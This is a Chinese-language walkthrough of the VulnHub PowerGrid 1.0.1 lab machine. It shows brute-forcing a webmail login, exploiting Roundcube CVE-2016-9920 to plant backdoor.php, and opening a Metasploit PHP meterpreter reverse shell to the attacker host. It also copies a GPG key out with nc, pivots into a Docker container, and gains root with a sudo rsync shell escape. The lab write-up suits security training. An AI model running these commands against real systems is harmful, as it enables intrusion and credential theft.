本文首發於微信公眾號:VulnHub PowerGrid 1.0.1靶機滲透,未經授權,禁止轉載。
難度評級:☆☆☆☆☆
官網地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova
天翼雲盤:https://cloud.189.cn/t/2UN7Ffiuqyym
百度網盤:https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取碼:r4zc
官網簡介:靶機會進行計時,即使關閉虛擬機器也不會停止,超時後將銷燬證據
滲透目標:獲取root許可權,找到4個flag
本機地址:192.168.110.27
靶機地址:192.168.110.36
資訊收集
話不多說,直接上nmap看靶機IP。
nmap 192.168.110.0/24 -sP
本機是192.168.110.27,那靶機就是192.168.110.36。接著掃一下埠。
nmap -A -p- 192.168.110.36
沒有開啟22號埠可還行,第一次見到這麼任性的靶機。沒關係,80埠終歸還是開啟了的,看看網頁。
網頁端顯示了一個計時器,文字說明提示這是一封勒索信,3個小時之內要交250億歐元,這黑客可是真夠黑的。不過,這個網頁的最後透露了deez1、p48、all2這幾個使用者名稱,需要留意一下。
按照規矩,一般都會遍歷一下網頁的目錄。
dirb http://192.168.110.36
什麼也沒有可還行,不過按照以前的經驗(VulnHub CengBox2靶機滲透),有可能是預設字典不夠大,使用dirbuster的字典再掃一次。
dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w
發現images目錄和zmail頁面。
images目錄就是兩張背景圖片,沒什麼用,而訪問zmail頁面則彈出一個登入對話方塊,使用幾個常見密碼和使用者名稱登入失敗,嘗試使用burp爆破。
對登入介面抓包後發現使用者名稱密碼採用了Base64編碼,使用burp自帶的解碼器解碼。
其實就是在使用者名稱和密碼之間插入了一個冒號。接下來使用最經典的rockyou密碼字典爆破,使用者名稱則選擇deez1、p48、all2。
經過漫長的等待,終於發現有一個響應包的長度跟其他的不一樣。
成功獲取登入密碼,登入後發現又是一個登入介面。
使用同樣的使用者名稱密碼登入嘗試,登入成功(簡直多此一舉)。登入後發現root傳送過來了一封右鍵。
郵件中寫道還有另一臺伺服器,下面的加密資訊就是SSH的私鑰,是用p48的gpg私鑰加密的,可以用來登入那臺伺服器但沒必要。呵呵,沒必要?我會聽你的?你個糟老頭子壞得很。不過暫時還沒有辦法解密訊息,先把加密訊息儲存下來。
由於在網頁端可以寫郵件,因此猜測能通過附件上傳PHP木馬,經過嘗試後並不奏效,只好去查詢roundcube的漏洞。
msfconsole
search roundcube
痛苦,在Metasploit裡找不到相關漏洞。不過不用灰心,說不定在網上能找到。
經過查詢後發現小於1.2.2版本的roundcube存在程式碼執行漏洞,編碼為CVE-2016-9920,GitHub連結為:https://github.com/t0kx/exploit-CVE-2016-9920。
git clone https://github.com/t0kx/exploit-CVE-2016-9920.git
漏洞利用
這個exp是用python寫的,不過作者給的示例都不能使用,因為靶機上有兩個登入介面,而正常來說,網站只需要登入一次就夠了。另外,需要更改exp的發件人與收件人。
./exploit.py --host p48:electrico@192.168.110.36 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"
攻擊成功,現在只需要訪問http://192.168.110.36/zmail/backdoor.php即可執行命令了。先看看/var/www/目錄下都有些啥東西。
很好,發現了第一個flag檔案,趕緊檢視一下內容。
提示是pivote,並沒有什麼用。既然已經可以執行任意命令,那麼就可以配合msf獲取shell。
msfconsole
use multi/script/web_delivery
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.110.27
set target PHP
run
執行之後會顯示一條以php開頭的命令,複製到瀏覽器訪問。
這時msf已經成功獲取session了。
sessions -l
sessions -i 1
shell
很無奈,每次拿到的shell都很不好用,沒有安全感。利用python將難用的shell改成bash。
whereis python
發現有python2.7和python3.7。
python3.7 -c 'import pty; pty.spawn("/bin/bash")'
成功獲取了www-data的bash,接下來就要作點妖了,先看看家目錄下都有哪些使用者。
cd /home
ls
很好,有一個叫p48的使用者,這個使用者的網頁端密碼之前已經爆破出來了,嘗試切換到p48。
完美,p48跟我一樣,喜歡一個密碼到處用,更驚喜的是p48家目錄下有一個gpg私鑰,這應該就是可以解密網頁端加密訊息的私鑰了(翻譯翻譯,什麼叫驚喜)。
不過奇怪的是,靶機上竟然沒有gpg命令,必須拷貝到攻擊主機上才能解密。
nc -lvvp 31337 < privkey.gpg
nc 192.168.110.36 31337 > p48.gpg
接下來解密檔案。
gpg --import p48.gpg
gpg --decrypt id_rsa.encoded > id_rsa
解密後還需要把id_rsa傳回到靶機,同樣使用的nc,這裡就不贅述了。
現在問題來了,這個SSH私鑰檔案是要拿來連線誰的呢?郵件裡root說的另一臺伺服器在哪呢?莫非這臺靶機上還執行了虛擬機器?檢視一下IP看看有什麼貓膩。
有一個叫docker0的網路卡,這臺靶機應該還執行著docker,所謂的另一臺伺服器應該就在容器裡執行著。
掃一下172.17.0.0/24這個網段(網路卡資訊顯示網段為172.17.0.0/16,不過172.17.0.0/24的範圍更大,因此不會漏掉可能的IP),看看另一臺靶機的埠是多少。由於靶機沒有安裝nmap,所以只能使用迴圈加ping的方法判斷。
for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done
還好IP比較靠前,一下子就掃出來了。接著使用SSH私鑰登入。
chmod 600 id_rsa
ssh -i id_rsa p48@172.17.0.2
登入後很容易就發現了第二個flag。
第二個flag提示p48的使用者許可權不高,很明顯,這是提示要提權了。
許可權提升
首先看看有什麼命令是可以提權執行的。
sudo -l
rsync命令可以免密碼以root使用者許可權執行,rsync命令可以理解成一個加強版的cp命令,既然可以使用root許可權執行,那麼就可以把/root/下的所有檔案拷貝到/tmp目錄下檢視。
第三個flag已經出來了,這個flag提示pivoting backwards,難不成第四個flag在docker外?由於最開始掃描靶機埠時22號埠沒有開啟,這裡又提示要往回找第四個flag,我們有理由懷疑靶機在docker0網路卡上開放了SSH服務,往外連線試試。
實錘了,可以通過172.17.0.1連線到靶機。不過並不知道密碼,p48使用者家目錄下的.ssh目錄裡也沒有存放SSH私鑰,這是一件很頭疼的事。
經過查詢,發現rsync命令不僅可以用來拷貝檔案,還可以用來提權。
sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
whoami
很好,已經成功提權到root,接下來檢視/root/.ssh/目錄下有沒有SSH私鑰。
cd /root/.ssh
ls
ssh -i id_rsa root@172.17.0.1
不出所料,成功登入到外面的靶機。接下來就是查詢第四個flag了。
第四個flag就存放在/root/目錄下,根據提示,這是最後一個flag了。
至此,對PowerGrid的滲透已經全部完成。
總結
這個靶機整體偏難,首先是網頁端的爆破,一般的密碼字典很難跑出來,而rockyou這個密碼字典又很大,如果不耐心等待的話很難爆破出來。
其次是這臺靶機多次用到了公私鑰,如果對非對稱加密和gpg工具不熟悉的話,可能就會無法進入下一關。
這臺靶機還執行著docker,就相當於有兩臺靶機,這是PowerGrid比較新穎的地方。另外,3個小時的時間限制也為滲透增加了幾分緊張刺激的氣氛。
整體來說,這臺靶機在形式上有一定的創新性,很值得下載下來親自復現一下。